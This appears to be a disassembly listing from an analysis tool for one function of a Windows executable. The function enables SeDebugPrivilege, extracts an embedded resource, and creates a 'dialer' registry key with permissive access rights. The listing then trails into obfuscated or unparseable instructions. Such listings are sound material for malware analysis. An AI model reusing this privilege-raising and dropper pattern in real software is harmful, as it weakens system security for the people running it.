Function at 0x14008610e
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov edx, 0x23
lea rcx, [rsp + 0x70]
mov r8, rax
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
lea rcx, str.kernel32.dll
call fcn.140002078
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x410
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140002486
lea r8, [rbp + 0xc8]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000247d
lea r8, [rbp + 0xb0]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14000247d
mov rax, qword [rbp + 0xb0]
lea r8, [rsp + 0x60]
mov rcx, qword [rbp + 0xc8]
mov r9d, 0x10
mov qword [rsp + 0x28], rdi
xor edx, edx
mov qword [rsp + 0x64], rax
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x6c], 2
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x14000247d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [0x14000352c]
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
je 0x14000269d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [0x140005010], eax
test eax, eax
je 0x14000269d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000269d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [0x140005008], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.1400017f8
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SOFTWAREdialerconfig
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000260d
lea r9, [rbp + 0xb0]
mov qword [rbp + 0xc8], rdi
lea r8, [rbp + 0xc8]
mov dword [rbp + 0xb0], edi
lea edx, [rax + 1]
lea rcx, str.D:_A_OICI_GA___AU__A_OICI_GA___BA_
call qword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
mov ebx, 4
test eax, eax
je 0x140002587
mov r8, qword [rbp + 0xc8]
mov edx, ebx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x40], rdi
lea rdx, [0x140003330]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], 0xf013f
mov dword [rsp + 0x20], edi
xor eax, eax
add rsp, 0x190
pop rdi
pop rbx
pop rbp
ret
not byte [rsp]
mov dword [rsp], 0xdb3b8c86
add word [rsp], 0x8b6
shl qword [rsp], 0x62
call fcn.1400c92c3
mov r8, qword [rsp + 8]
bswap rsi
js 0x1400023b9
ja 0x14006687d
add rsi, qword [rsp + 0x28]
call fcn.14005a545
popfq
lea rsp, [rsp + 0x60]
ret
add qword [rsp], 0x24
movabs rdx, 0xd6bae734c20f7d1e
or edx, 0x4d023201
not dl
not edx
shl rdx, 0xc7
add dword [rdx], esi
add cl, byte [rbp - 0xa]
sal bh, cl
ror byte [rax - 0x3f], cl
loop 0x1400860f6
mov rdx, qword [rsp]
mov rdx, qword [rdx]
test r14d, r14d
mov qword [rsp], r14
not r14d
jge fcn.140096cbb
not r14b
lea rdx, [rdx - 0x7a421bd0]
or r14b, r14b
setg r14b
lea r14, [r14*2 - 0x50d85e70]
xor r14, qword [rsp + r14*2 - 0x3e4f4320]
xchg qword [rsp + 0x18], rdx
mov r14, qword [rsp + 0x10]
setg byte [rsp]
jne 0x140007f10
lodsb al, byte [rsi]
add byte [rax + 0x29], al
sahf
jrcxz 0x140086123
cld
clc
idiv dword [rbx]
jmp 0x1400861c8
add byte [rsi], bl
outsb dx, byte [rsi]
sahf
invalid